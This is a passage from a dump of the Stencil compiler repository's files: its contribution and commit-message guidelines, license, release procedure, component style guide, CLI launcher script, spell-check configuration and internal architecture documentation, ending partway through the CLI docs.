**docs**: Documentation only changes\n* **style**: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)\n* **refactor**: A code change that neither fixes a bug nor adds a feature\n* **perf**: A code change that improves performance\n* **test**: Adding missing tests\n* **chore**: Changes to the build process or auxiliary tools and libraries such as documentation generation\n* **revert**: Reverts a previous commit\n\n#### Scope\nThe scope can be anything specifying place of the commit change. For example `renderer`, `compiler`, etc.\n\n#### Subject\nThe subject contains succinct description of the change:\n\n* use the imperative, present tense: \"change\" not \"changed\" nor \"changes\"\n* do not capitalize first letter\n* do not place a period `.` at the end\n* entire length of the subject must not go over 50 characters\n* describe what the commit does, not what issue it relates to or fixes\n* **be brief, yet descriptive** - we should have a good understanding of what the commit does by reading the subject\n\n#### Footer\n\nIf a pull request fixes an open GitHub issue, `fixes: #` + the issue number should be included in the footer.\n\nMembers of the Stencil engineering team should take care to add the JIRA ticket associated with a PR in the footer of\nthe git commit. Community members need not worry about adding a footer.\n\nIf your pull request contains a *breaking change*, please add the text 'BREAKING CHANGE:' followed by a brief\ndescription. This description will be used in Stencil's auto-generated changelog under the `BREAKING CHANGES` section.\nThis syntax must be used over the 'exclamation' syntax that other projects using conventional commits may follow.\n\nNote the newline separating the body from the footer, as well as between the JIRA ticket & 'BREAKING CHANGE:' notice:\n```\n<BODY>\n\nfixes: #123\n\nSTENCIL-13: Watchers Not Firing as Expected when using the Custom Elements Build\n\nBREAKING CHANGE: Watchers may appear to not fire in existing applications, when this is the expected behavior.\n```\n\n#### Example\n\nBelow is an example commit message that follows the guidance listed above:\n\n```\nfix(runtime): prevent watchers from prematurely firing\n\nWait for the CustomElementRegistry to mark the component as ready\nbefore setting `isWatchReady`. Otherwise, watchers may fire prematurely\nif `customElements.get()` or `customElements.whenDefined()` resolve\n_before_ Stencil has completed instantiating a component\n\nfixes: #123\n\nSTENCIL-13: Watchers Not Firing as Expected when using the Custom Elements Build\n\nBREAKING CHANGE: Watchers may appear to not fire in existing applications, when this is the expected behavior.\n```\n\nwhere:\n- the type is \"fix\"\n- the scope is \"runtime\"\n- the PR subject describes _what_ the PR is doing when applied\n- the PR body describes _what_ and _why_, rather than _how_\n- this PR is a breaking change\n\n### Adding & Updating Documentation\n\nPlease see the [stencil-site](https://github.com/stenciljs/site) repo to update documentation.\n\n## License\n\nBy contributing your code to this GitHub Repository, you agree to license your contribution under the MIT license.\n"
  },
  {
    "path": "LICENSE.md",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2019-present Drifty Co.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n-----------------------------------------\nThird-party components, software, and/or libraries (collectively, \"components\")\nare included under the licenses specified by their authors. For information\nabout these third-party licenses, refer to the separate legal notices governing\nsuch components at NOTICE file at the top level of the package.\n"
  },
  {
    "path": "RELEASE.md",
    "content": "# Releasing Stencil\n\nStencil can either be released by CI/CD (via GitHub Actions), or manually.\nAn automated release is the preferred way of creating a new release of the project.\nManual releases should only be performed when there are extenuating circumstances preventing an automated release.\n\n## Automated Releases\n\n1. Call a `code-freeze` in the Stencil team channel\n1. Check that [Stencil's Merge\n   Queue](https://github.com/stenciljs/core/queue/) is empty (nothing is\n   queued for merge).\n1. Run the [Stencil Production Release PR Creation Workflow](https://github.com/stenciljs/core/actions/workflows/create-production-pr.yml)\n   in GitHub\n    1. Run the workflow from the `main` branch, _unless_ the release is for a previous major version of Stencil.\n       In that scenario, select the `v#-maintenance` branch corresponding to the version of Stencil being released.\n       For example, `v3-maintenance` to release a new version of Stencil v3.\n    1. Stencil follows semantic versioning. Select the appropriate version from the dropdown for this release.\n    1. Hit \"Run Workflow\" and wait for a new pull request to be created.\n1. Navigate to the pull request that was opened as a result of running the Stencil Production Release PR Creation Workflow.\n1. Complete the following (temporary) steps:\n    1. Close the pull request and reopen it. This allows actions that the team gates pull requests on to run.\n    1. Mark the pull request as ready for review.\n1. Ask the Stencil team for an approval on the PR.\n   Only one approval is required for pull requests that only include the version bump/prerelease commit.\n1. Once approved, add it to the merge queue.\n1. ⚠️ Wait for the pull request to land before continuing to the next step. ⚠️\n1. Run the [Stencil Production Release Workflow](https://github.com/stenciljs/core/actions/workflows/release-production.yml)\n    1. Stencil should be published under the `latest` tag, _unless_ the release is for a previous major version of\n     Stencil.\n    1. The base branch should be set to `main`, _unless_ the release is for a previous major version of Stencil.\n    1. Tail the logs to verify everything runs successfully.\n1. Proceed to the [Follow-Up section](#follow-up-steps) of this document to run manual follow-up tasks.\n\n## Manual Releases\n\n⚠️ Manual releases should only be performed when there are extenuating circumstances that prevent an automated one from occurring ⚠️\n\n✍️ Authoring permissions are needed for an individual to perform a manual release. If needed, please ping Ionic leadership. ✍️\n\n1. Call a `code-freeze` in the Stencil team channel\n1. Run `npm run clean` locally to clear out any cached build artifacts.\n1. Run `npm run release.prepare`. This will install dependencies, bundle Stencil, run tests, etc.\n1. Check the [CHANGELOG.md](CHANGELOG.md) and make sure it includes all the changes that have landed since the last \nrelease.\n1. Commit the changes - use the commit message '<emoji> v<VERSION>'. e.g. `git commit -m '🤦‍ v2.7.0'` (note the emoji is \nused literally, as opposed to ':facepalm:').\n1. Run `npm run release`, which will push the commit/tag to GitHub and publish to NPM.\n1. Proceed to the [Follow-Up section](#follow-up-steps) of this document to run manual follow-up tasks.\n\n# Follow-Up Steps\n\nThe following steps should be always run, regardless of whether an automated or\nmanual release was performed.\n\n1. Publish the release notes in GitHub using GitHub's [release notes form](https://github.com/stenciljs/core/releases/new).\n   1. Set the tag dropdown to the newly-released version's git tag\n   1. Set the version title to `[VERMOJI] v[VERSION] ([yyyy.mm.dd])`.\n      For example, v4.2.0 has a vermoji of 🌲, and was released on 2023.09.05.\n      As a result, it was [released with the title](https://github.com/stenciljs/core/releases/tag/v4.2.0) of 🌲 4.2.0 (2023-09-05).\n   1. Copy the raw contents of [CHANGELOG.md](./CHANGELOG.md) into the body\n   1. Ensure that the release is set as the latest (so long as we're not published a pre-release)\n   1. If anyone from the community contributed commit(s) to this release,\n      append the following to the end of the GitHub release notes:\n\n      ```md\n      ## Thanks\n\n      🎉 Thanks <GitHub_Usernames> for their contributions! 🎉\n      ```\n   1. Hit \"Publish Release\"    \n1. Navigate to the [Stencil Site](https://github.com/stenciljs/site/pulls) repository and:\n   1. Merge any open PRs containing documentation that has been approved, but\n      not merged that is related to the release. Such PRs should be labelled as\n      `do not merge: waiting for next stencil release`. It's a good idea to\n      review _all_ PRs though, just in case.\n   1. If the current release is a major or minor version, open a pull request\n     creating a new version of the docs by following the [guide in the\n     stencil-site\n     repo](https://github.com/stenciljs/site/blob/main/RELEASE.md#creating-a-new-version-section).\n1. If there are any 'next' branches in GitHub, say for a future major version of Stencil (e.g. `v5.0.0-dev`), now is a\n   good time to rebase them against the `main` branch.\n1. End the code freeze in the Stencil team Slack channel.\n1. Perform the following tasks in JIRA:\n   1. Ask someone with appropriate permissions to mark this version of Stencil as 'released' in JIRA on the 'Releases' page.\n   1. Ask someone with appropriate permissions to stub out the next release and task for the release in JIRA.\n1. Ensure all GitHub Issues associated with stories/tasks that shipped in this version of Stencil are closed.\n   1. For each issue, add a comment stating the version of Stencil that\n      included the fix/feature (be sure to update the version number _and_\n      tag):\n      \n      ```md\n      The fix for this issue has been released as a part of today's [Stencil\n      vNUMBER release](https://github.com/stenciljs/core/releases/tag/TAG). \n      ```\n1. If there's a blog post to go out (either today or this week), let the folks in the `#ask-ionic-devrel` channel know about the release and that the blog can go out.\nWhen the blog goes out, put an announcement in the `#announcements` channel in Discord.\n"
  },
  {
    "path": "STYLE_GUIDE.md",
    "content": "# Stencil Style Guide\n\nThis is a component style guide created and enforced internally by the core team of Stencil, for the purpose of standardizing [Ionic Core](https://ionicframework.com/) components. This should only be used as a reference for other teams in creating their own style guides. Feel free to modify to your team's own preference.\n\n\n## File structure\n\n- One component per file.\n- One component per directory. Though it may make sense to group similar components into the same directory, we've found it's easier to document components when each one has its own directory.\n- Implementation (.tsx) and styles of a component should live in the same directory.\n\nExample from ionic-core:\n\n```\n├── card\n│   ├── card.ios.scss\n│   ├── card.md.scss\n│   ├── card.scss\n│   ├── card.tsx\n│   └── test\n│       └── basic\n│           ├── e2e.js\n│           └── index.html\n├── card-content\n│   ├── card-content.ios.scss\n│   ├── card-content.md.scss\n│   ├── card-content.scss\n│   └── card-content.tsx\n├── card-title\n│   ├── card-title.ios.scss\n│   ├── card-title.md.scss\n│   ├── card-title.scss\n```\n\n\n## Naming\n### HTML tag\n\n#### Prefix\nThe prefix has a major role when you are creating a collection of components intended to be used across different projects, like [@ionic/core](https://www.npmjs.com/package/@ionic/core). Web Components are not scoped because they are globally declared within the webpage, which means an \"unique\" prefix is needed to prevent collisions. The prefix is also able help to quickly identify the collection of a component. Additionally, web components are required to contain a \"-\" dash within the tag name, so using the first section to namespace your components is a natural fit.\n\nWe do not recommend using \"stencil\" as prefix, since Stencil DOES NOT emit stencil components, but rather the output is simply standards compliant web components.\n\nDO NOT do this:\n```\nstencil-component\nstnl-component\n```\n\nInstead, use your own naming or brand. For example, [Ionic](https://ionicframework.com/) components are all prefixed with `ion-`.\n```\nion-button\nion-header\n```\n\n#### Name\n\nComponents are not actions, they are conceptually \"things\". It is better to use nouns, instead of verbs, such us: \"animation\" instead of \"animating\". \"input\", \"tab\", \"nav\", \"menu\" are some examples.\n\n\n#### Modifiers\n\nWhen several components are related and/or coupled, it is a good idea to share the name, and then add different modifiers, for example:\n\n```\nion-menu\nion-menu-controller\n```\n\n```\nion-card\nion-card-header\nion-card-content\n```\n\n\n### Component (TS class)\n\nThe name of the ES6 class of the components SHOULD NOT have prefix since classes are scoped. There is no risk of collision.\n\n```ts\n@Component({\n  tag: 'ion-button'\n})\nexport class Button { ... }\n\n@Component({\n  tag: 'ion-menu'\n})\nexport class Menu { ... }\n```\n\n\n## TypeScript\n\n1. **Follow** [tslint-ionic-rules](https://github.com/ionic-team/tslint-ionic-rules/blob/master/tslint.js)\n\n2. **Variable decorators should be inlined.**\n\n ```ts\n@Prop() name: string;\n@Element() el: HTMLElement;\n```\n\n3. **Method decorator should be multi-line**\n\n ```ts\n@Listen('click')\nonClick() {\n  ...\n}\n```\n\n4. **Use private variables and methods as much possible:** They are useful to detect dead code and enforce encapsulation. Note that this is a feature which TypeScript provides to help harden your code, but using `private`, `public` or `protected` does not make a difference in the actual JavaScript output.\n\n5. **Code with Method/Prop/Event/Component decorators should have JSDocs:** This allows for documentation generation and for better user experience in an editor that has TypeScript intellisense\n\n## Code organization\n\n### Newspaper Metaphor from The Robert C. Martin's _Clean Code_\n\n> The source file should be organized like a newspaper article, with the highest level summary at the top, and more and more details further down. Functions called from the top function come directly below it, and so on down to the lowest level and most detailed functions at the bottom. This is a good way to organize the source code, even though IDE:s make the location of functions less important, since it is so easy to navigate in and out of them.\n\n### High level example (commented)\n\n```ts\n@Component({\n  tag: 'ion-something',\n  styleUrl: 'something.scss',\n  styleUrls: {\n    ios: 'something.ios.scss',\n    md: 'something.md.scss',\n    wp: 'something.wp.scss'\n  },\n  host: {\n    theme: 'something'\n  }\n})\nexport class Something {\n\n  /**\n   * 1. Own Properties\n   * Always set the type if a default value has not\n   * been set. If a default value is being set, then type\n   * is already inferred. List the own properties in\n   * alphabetical order. Note that because these properties\n   * do not have the @Prop() decorator, they will not be exposed\n   * publicly on the host element, but only used internally.\n   */\n  num: number;\n  someText = 'default';\n\n  /**\n   * 2. Reference to host HTML element.\n   * Inlined decorator\n   */\n  @Element() el: HTMLElement;\n\n  /**\n   * 3. State() variables\n   * Inlined decorator, alphabetical order.\n   */\n  @State() isValidated: boolean;\n  @State() status = 0;\n\n  /**\n   * 4. Public Property API\n   * Inlined decorator, alphabetical order. These are\n   * different than \"own properties\" in that public props\n   * are exposed as properties and attributes on the host element.\n   * Requires JSDocs for public API documentation.\n   */\n  @Prop() content: string;\n  @Prop() enabled: boolean;\n  @Prop() menuId: string;\n  @Prop() type = 'overlay';\n\n  /**\n   * NOTE: Prop lifecycle events SHOULD go just behind the Prop they listen to.\n   * This makes sense since both statements are strongly connected.\n   * - If renaming the instance variable name you must also update the name in @Watch()\n   * - Code is easier to follow and maintain.\n   */\n  @Prop() swipeEnabled = true;\n\n  @Watch('swipeEnabled')\n  swipeEnabledChanged() {\n    this.updateState();\n  }\n\n  /**\n   * 5. Events section\n   * Inlined decorator, alphabetical order.\n   * Requires JSDocs for public API documentation.\n   */\n  @Event() ionClose: EventEmitter;\n  @Event() ionDrag: EventEmitter;\n  @Event() ionOpen: EventEmitter;\n\n  /**\n   * 6. Component lifecycle events\n   * Ordered by their natural call order, for example\n   * WillLoad should go before DidLoad.\n   */\n  connectedCallback() {}\n  componentWillLoad() {}\n  componentDidLoad() {}\n  disconnectedCallback() {}\n\n  /**\n   * 7. Listeners\n   * It is ok to place them in a different location\n   * if makes more sense in the context. Recommend\n   * starting a listener method with \"on\".\n   * Always use two lines.\n   */\n  @Listen('click', { enabled: false })\n  onClick(ev: UIEvent) {\n    console.log('hi!')\n  }\n\n  /**\n   * 8. Public methods API\n   * These methods are exposed on the host element.\n   * Always use two lines.\n   * Requires JSDocs for public API documentation.\n   */\n  @Method()\n  open() {\n    ...\n  }\n\n  @Method()\n  close() {\n    ...\n  }\n\n  /**\n   * 9. Local methods\n   * Internal business logic. These methods cannot be\n   * called from the host element.\n   */\n  prepareAnimation(): Promise<void> {\n    ...\n  }\n\n  updateState() {\n    ...\n  }\n\n  /**\n   * 10. hostData() function\n   * Used to dynamically set host element attributes.\n   * Should be placed directly above render()\n   */\n  hostData() {\n    return {\n      attribute: 'navigation',\n      side: this.isRightSide ? 'right' : 'left',\n      type: this.type,\n      class: {\n        'something-is-animating': this.isAnimating\n      }\n    };\n  }\n\n  /**\n   * 11. render() function\n   * Always the last one in the class.\n   */\n  render() {\n    return (\n      <div class='menu-inner page-inner'>\n        <slot></slot>\n      </div>\n    );\n  }\n}\n```"
  },
  {
    "path": "bin/stencil",
    "content": "#!/usr/bin/env node\n'use strict';\n\nvar minimumVersion = '16.0';\nvar futureDeprecationMinVersion = '16.0';\nvar recommendedVersion = '18.16';\nvar currentVersion = process.versions.node;\n\nfunction isNodeLT(v) {\n  var check = v.split('.').map(Number);\n  var node = currentVersion.split('.').map(Number);\n  return node[0] < check[0] || (node[0] === check[0] && node[1] < check[1]);\n}\n\nif (isNodeLT(minimumVersion)) {\n  console.error(\n    '\\nYour current version of Node is v' +\n      currentVersion +\n      ', however Stencil requires v' +\n      minimumVersion +\n      '.0 or greater. It is recommended to use an Active LTS version of Node (https://nodejs.org/en/about/releases/).\\n',\n  );\n  process.exit(1);\n}\n\nif (isNodeLT(futureDeprecationMinVersion)) {\n  console.warn(\n    '\\nIn an upcoming major release of Stencil, Node v' + recommendedVersion + '.0 or higher will be required.\\n',\n  );\n} else if (isNodeLT(recommendedVersion)) {\n  console.warn(\n    '\\nYour current version of Node is v' +\n      currentVersion +\n      \", however Stencil's recommendation is v\" +\n      recommendedVersion +\n      '.0 or greater. Note that future versions of Stencil will eventually remove support for older Node versions and an Active LTS version is recommended (https://nodejs.org/en/about/releases/).\\n',\n  );\n}\n\nvar cli = require('../cli/index.cjs');\nvar nodeApi = require('../sys/node/index.js');\nvar nodeLogger = nodeApi.createNodeLogger();\nvar nodeSys = nodeApi.createNodeSys({ process: process, logger: nodeLogger });\n\nnodeApi.setupNodeProcess({ process: process, logger: nodeLogger });\n\ncli\n  .run({\n    args: process.argv.slice(2),\n    logger: nodeLogger,\n    sys: nodeSys,\n    checkVersion: nodeApi.checkVersion,\n  })\n  .catch(function (err) {\n    console.error('uncaught error', err);\n    process.exit(1);\n  });\n"
  },
  {
    "path": "cspell-code.json",
    "content": "{\n  \"dictionaries\": [\"custom-words\"],\n  \"dictionaryDefinitions\": [\n    {\n      \"name\": \"custom-words\",\n      \"path\": \"./cspell-wordlist.txt\",\n      \"addWords\": true\n    }\n  ],\n\n  \"ignoreRegExpList\": [\n    \"/`[a-zA-Z-_., /*']+`/g\"\n  ],\n  \"ignorePaths\": [\"**/node_modules/**\", \"**/third-party/**\"],\n  \"includeRegExpList\": [\n    \"CStyleComment\"\n  ]\n}\n"
  },
  {
    "path": "cspell-markdown.json",
    "content": "{\n  \"dictionaries\": [\"custom-words\"],\n  \"dictionaryDefinitions\": [\n    {\n      \"name\": \"custom-words\",\n      \"path\": \"./cspell-wordlist.txt\",\n      \"addWords\": true\n    }\n  ],\n  \"ignoreRegExpList\": [\n    \"/`[a-zA-Z-_., /*']+`/g\"\n  ],\n  \"ignorePaths\": [\"**/node_modules/**\", \"**/third-party/**\", \"./CHANGELOG.md\"]\n}\n"
  },
  {
    "path": "cspell-wordlist.txt",
    "content": "!Javascript\n!PostCss\n!TurboRepo\n!Typescript\n!nodejs\nBUILDID\nBrotli\nBrunelle\nCompi\nCSSOM\nDeno\nDeoptimization\nDescript\nFOUC\nFriis\nfuncs\nHolowaychuk\nIIFE\nIonicons\nPOSIX\nPreact\nPrecompilers\nSnabbdom\nSystemJS\nTurborepo\nVetur\nVindum\nVnode\nXlink\naboutus\nagadoo\nanonymization\napng\nappload\narghhh\nasync\nautoprefix\nautoprefixing\nbasename\nbasenames\nbezier\nclazz\ncmps\ncodebases\ncontentful\ncssnano\ncstrs\nCstr\ndeclutter\ndecorees\ndeoptimized\nderegistration\ndesugared\ndevelopit\ndevrel\ndivs\ndocstring\ndocstrings\ndups\nendtoend\nexpressjs\nextname\nfilesize\nflexbox\nfocusability\nformaction\nfromdir\nheadful\nhelloworld\nhref\nhrefs\nhyperscript\nimgs\nimportee\ninputmode\njsnext\nkeydown\nkthxbai\nlcov\nlifecycles\nmicroedge\nmicrotask\nmicrotasks\nminifier\nmyapp\nmycomponent\nmyprop\nnamespace\nnocheck\nnoref\nnoresize\nonformdata\nonsearch\noutro\noverrider\npageerror\npaldepind\npixelmatch\npolyfilling\nprecache\nprecompile\nprecompiler\nprecompilers\nprehydration\nprerender\nprerendered\nprerendering\nprerenders\nproxied\nproxying\nquerystrings\nrequestfailed\nruntimes\nsearchbar\nshadowcsshost\nshadowcsshostcontext\nshadowroot\nsourcemaps\nspecfile\nstenciljs\nstnl\nstringification\nstringified\nstyleurls\nsubdir\ntemplating\ntimespan\ntmpl\ntoplevel\ntranspiles\ntranspiling\ntypedefs\nunshift\nUnminified\nunvalidated\nupvote\nvattrs\nvchildren\nvdom\nvermoji\nviewports\nvkey\nvname\nvnode\nvnodes\nvtag\nwdio\nwebapps\nxlink\nyourpackage\nfdir\nshadowrootmode\nshadowrootdelegatesfocus\njsxmode\njsxdev\njsxs\nlabelable"
  },
  {
    "path": "docs/README.md",
    "content": "# Stencil Technical Documentation\n\nWelcome to the Stencil technical documentation. This documentation is designed for contributors who want to understand the internal architecture and implementation details of Stencil. It provides comprehensive information about how Stencil works under the hood.\n\n## Overview\n\nStencil is a compiler that generates Web Components and builds high-performance web applications. It combines the best concepts of the most popular frameworks into a simple build-time tool.\n\n### Architecture Overview\n\n```mermaid\ngraph TB\n    subgraph \"Build Time\"\n        CLI[CLI Entry Point] --> Compiler[Compiler Core]\n        Compiler --> TS[TypeScript Compiler]\n        Compiler --> Bundler[Rollup Bundler]\n        Compiler --> Optimizer[Build Optimizer]\n    end\n    \n    subgraph \"Development\"\n        DevServer[Dev Server] --> HMR[Hot Module Replacement]\n        DevServer --> WS[WebSocket Server]\n    end\n    \n    subgraph \"Runtime\"\n        ComponentRuntime[Component Runtime] --> VDOM[Virtual DOM]\n        ComponentRuntime --> LC[Lifecycle Manager]\n        ComponentRuntime --> PS[Proxy State]\n    end\n    \n    subgraph \"Server Side\"\n        Hydrate[Hydrate App] --> MockDoc[Mock Document]\n        Hydrate --> SSR[SSR Renderer]\n    end\n    \n    CLI -.-> DevServer\n    Compiler --> ComponentRuntime\n    Compiler --> Hydrate\n```\n\n## Core Components\n\n### [CLI](./cli.md)\n**Location:** `/src/cli`\n\nThe command-line interface that serves as the entry point for all Stencil operations. It handles:\n- Command parsing and validation\n- Configuration loading\n- Task orchestration (build, serve, test, etc.)\n- Version checking and telemetry\n- Process management\n\n### [Compiler](./compiler.md)\n**Location:** `/src/compiler`\n\nThe heart of Stencil that transforms TypeScript/JSX components into optimized web components. Key responsibilities:\n- TypeScript transformation and compilation\n- Component metadata extraction\n- Build optimization and bundling\n- Output target generation\n- Style processing\n- Static analysis\n- Build orchestration and caching\n- Incremental compilation\n\n### [Runtime](./runtime.md)\n**Location:** `/src/client`, `/src/runtime`, `/src/internal`\n\nThe client-side code that powers Stencil components in the browser:\n- Component lifecycle management\n- Virtual DOM implementation\n- State management and reactivity\n- Event handling\n- Lazy loading\n- Hydration support\n\n### [Dev Server](./dev-server.md)\n**Location:** `/src/dev-server`\n\nDevelopment server with hot module replacement:\n- HTTP server for serving builds\n- WebSocket server for HMR\n- File watching and rebuilding\n- Browser auto-refresh\n- Error overlay\n- Request proxying\n\n### [Hydrate](./hydrate.md)\n**Location:** `/src/hydrate`\n\nServer-side rendering and hydration support:\n- Node.js rendering environment\n- Component pre-rendering\n- Static site generation\n- Hydration markers\n- SEO optimization\n\n### [Mock Doc](./mock-doc.md)\n**Location:** `/src/mock-doc`\n\nLightweight DOM implementation for server-side rendering:\n- DOM API implementation\n- Window and document globals\n- CSS parsing\n- HTML parsing and serialization\n- Performance optimizations\n\n### [Declarations](./declarations.md)\n**Location:** `/src/declarations`\n\nTypeScript type definitions and interfaces that define:\n- Public API contracts\n- Internal data structures\n- Configuration schemas\n- Build metadata formats\n\n### Deprecated Components\n\n#### [Testing](./testing-deprecated.md)\n**Location:** `/src/testing`\n\nThe built-in test runner based on Jest (deprecated). Users should migrate to:\n- [Jest Stencil Runner](https://github.com/stenciljs/jest-stencil-runner)\n- [WebdriverIO](https://stenciljs.com/docs/testing/webdriverio/overview)\n- [Playwright](https://stenciljs.com/docs/testing/playwright/overview)\n- [Vitest](https://stenciljs.com/docs/testing/vitest)\n\n#### [Screenshot Testing](./screenshot-deprecated.md)\n**Location:** `/src/screenshot`\n\nVisual regression testing (deprecated). Will be removed in the next major version.\n\n## Key Concepts\n\n### Build Process\n\n1. **Configuration Loading**: Parse and validate stencil.config.ts\n2. **Discovery**: Find all components in the source\n3. **Analysis**: Extract metadata from decorators\n4. **Transformation**: Convert TypeScript/JSX to JavaScript\n5. **Bundling**: Create optimized bundles\n6. **Output Generation**: Generate files for each output target\n\n### Component Lifecycle\n\nComponents follow a predictable lifecycle during initialization and updates:\n\n1. **Constructor**: Element created\n2. **connectedCallback**: Element added to DOM\n3. **componentWillLoad**: Before first render\n4. **componentWillRender**: Before each render\n5. **render**: Generate virtual DOM\n6. **componentDidRender**: After each render\n7. **componentDidLoad**: After first render\n8. **componentDidUpdate**: After updates\n9. **disconnectedCallback**: Element removed from DOM\n\n### Multi-Threading Architecture\n\nStencil uses a multi-threaded architecture for better performance:\n\n```mermaid\ngraph LR\n    Main[Main Thread] --> W1[Worker 1]\n    Main --> W2[Worker 2]\n    Main --> W3[Worker N]\n    \n    W1 --> Tasks1[TypeScript<br/>Compilation]\n    W2 --> Tasks2[Bundle<br/>Generation]\n    W3 --> Tasks3[Style<br/>Processing]\n```\n\n## Building Stencil\n\n### [Scripts Build System](./scripts.md)\n**Location:** `/scripts`\n\nThe build system used to develop and build Stencil itself:\n- Uses esbuild for bundling\n- Bundles TypeScript, Terser, and Parse5\n- Creates all distributable packages\n- Handles release automation\n- Validates build outputs\n\nThis is separate from Stencil's compiler - it's specifically for building the Stencil project during development.\n\n## Building and Development\n\nTo work on Stencil itself:\n\n```bash\n# Clone the repository\ngit clone https://github.com/ionic-team/stencil.git\ncd stencil\n\n# Install dependencies\nnpm install\n\n# Build Stencil\nnpm run build\n\n# Run tests\nnpm test\n\n# Start development\nnpm run dev\n```\n\nFor detailed compiler documentation and build process information, see the [Compiler](./compiler.md) documentation."
  },
  {
    "path": "docs/cli.md",
    "content": "# CLI Architecture\n\nThe Stencil CLI is the primary entry point for developers interacting with Stencil. It provides a comprehensive command-line interface for building, serving, testing, and managing Stencil projects.\n\n**Location:** [`src/cli/`](../src/cli/)\n\n## Architecture Overview\n\n```mermaid\ngraph TD\n    Entry[bin/stencil] --> CLI[cli/index.ts]\n    CLI --> Parser[Parse Arguments]\n    Parser --> Config[Load Config]\n    Config --> Task[Task Runner]\n    \n    Task --> Build[Build Task]\n    Task --> Serve[Serve Task]\n    Task --> Test[Test Task]\n    Task --> Generate[Generate Task]\n    Task --> Docs[Docs Task]\n    \n    Build --> Compiler[Compiler Core]\n    Serve --> DevServer[Dev Server]\n    Test --> TestRunner[Test Runner]\n```\n\n## Core Components\n\n### Entry Point (`/bin/stencil`)\n\nThe Node.js executable that bootstraps the CLI:\n\n```javascript\n#!/usr/bin/env node\n'use strict';\nrequire('../cli/index.js').run(process.argv.slice(2));\n```\n\n### Main CLI Module (`/src/cli/index.ts`)\n\nThe main CLI orchestrator that:\n- Parses command-line arguments\n- Loads configuration\n- Executes appropriate tasks\n- Handles errors and exits\n\nKey function: `run(args: string[])`\n\n### Command Parser (`/src/cli/parse-flags.ts`)\n\nParses command-line arguments into structured flags:\n\n```typescript\ninterface ConfigFlags {\n  task?: TaskCommand;\n  args?: string[];\n  knownArgs?: string[];\n  unknownArgs?: string[];\n  \n  // Build flags\n  build?: boolean;\n  cache?: boolean;\n  ci?: boolean;\n  debug?: boolean;\n  dev?: boolean;\n  docs?: boolean;\n  es5?: boolean;\n  log?: boolean;\n  prerender?: boolean;\n  prod?: boolean;\n  serve?: boolean;\n  watch?: boolean;\n  \n  // Paths\n  config?: string;\n  root?: string;\n  \n  // Dev server\n  address?: string;\n  port?: number;\n}\n```\n\n### Configuration Loading (`/src/cli/load-config.ts`)\n\nResponsible for finding and loading the Stencil configuration:\n\n1. **Search Order**:\n   - Explicit `--config` path\n   - `stencil.config.ts` in current directory\n   - `stencil.config.js` in current directory\n   - Walk up directory tree\n\n2. **Config Validation**:\n   - TypeScript compilation\n   - Schema validation\n   - Default values\n   - Path resolution\n\n### Task System\n\nTasks are the core operations that Stencil can perform:\n\n#### Build Task (`/src/cli/task-build.ts`)\n\nCompiles the project:\n\n```typescript\nexport const taskBuild = async (\n  coreCompiler: CoreCompiler,\n  config: ValidatedConfig\n) => {\n  if (config.flags.watch) {\n    await taskWatch(coreCompiler, config);\n    return;\n  }\n  \n  const compiler = await coreCompiler.createCompiler(config);\n  const results = await compiler.build();\n  \n  if (results.hasError) {\n    process.exit(1);\n  }\n};\n```\n\n#### Watch Task (`/src/cli/task-watch.ts`)\n\nContinuous build with file watching:\n\n- Creates compiler in watch mode\n- Optionally starts dev server\n- Monitors file changes\n- Triggers rebuilds\n\n#### Serve Task (`/src/cli/task-serve.ts`)\n\nStarts the development server:\n\n- HTTP server for static files\n- WebSocket server for HMR\n- Automatic browser refresh\n- Error overlay\n\n#### Generate Task (`/src/cli/task-generate.ts`)\n\nScaffolds new components:\n\n```bash\nstencil generate my-component\n```\n\nCreates:\n- Component TypeScript file\n- Stylesheet\n- E2E test\n- Unit test\n\n#### Docs Task (`/src/cli/task-docs.ts`)\n\nGenerates documentation:\n\n- JSON output for tooling\n- Markdown for repositories\n- Custom formats via plugins\n\n## Telemetry System (`/src/cli/telemetry/`)\n\nAnonymous usage tracking for improving Stencil:\n\n### What's Collected\n\n- Command usage\n- Build times\n- Error types (not content)\n- System info (OS, Node version)\n- Project size metrics\n\n### Privacy\n\n- No personal information\n- No source code\n- No file paths\n- Opt-out via `--no-telemetry`\n\n### Implementation\n\n```typescript\nexport const telemetry = async (\n  config: Config,\n  action: TelemetryAction\n) => {\n  if (config.telemetry === false) {\n    return;\n  }\n  \n  const data = {\n    action,\n    version: config.version,\n    node: process.version,\n    platform: process.platform,\n    // ... other metrics\n  };\n  \n  await sendTelemetry(data);\n};\n```\n\n## Version Checking (`/src/cli/check-version.ts`)\n\nChecks for Stencil updates:\n\n1. **Check Frequency**: Once per day\n2. **Version Comparison**: SemVer comparison\n3. **Update Notification**: Non-blocking message\n4. **Cache Location**: `~/.stencil/version-cache.json`\n\n## Process Management\n\n### Signal Handling\n\n```typescript\nprocess.on('SIGINT', () => {\n  config.logger.info('Exiting...');\n  destroy();\n});\n```\n\n### Exit Codes\n\n- `0`: Success\n- `1`: General error\n- `2`: Invalid configuration\n- `3`: Build error\n\n## Logger System\n\nThe CLI includes a sophisticated logging system:\n\n### Log Levels\n\n1. **Debug**: Verbose internal details\n2. **Info**: General information\n3. **Warn**: Potential issues\n4. **Error**: Actual problems\n\n### Features\n\n- Colored output\n- Timestamps\n- Log filtering\n- File output option\n\n## Common Patterns\n\n### Task Lifecycle\n\n1. **Parse**: Command-line arguments\n2. **Load**: Configuration file\n3. **Validate**: Merged configuration\n4. **Initialize**: Compiler instance\n5. **Execute**: Task 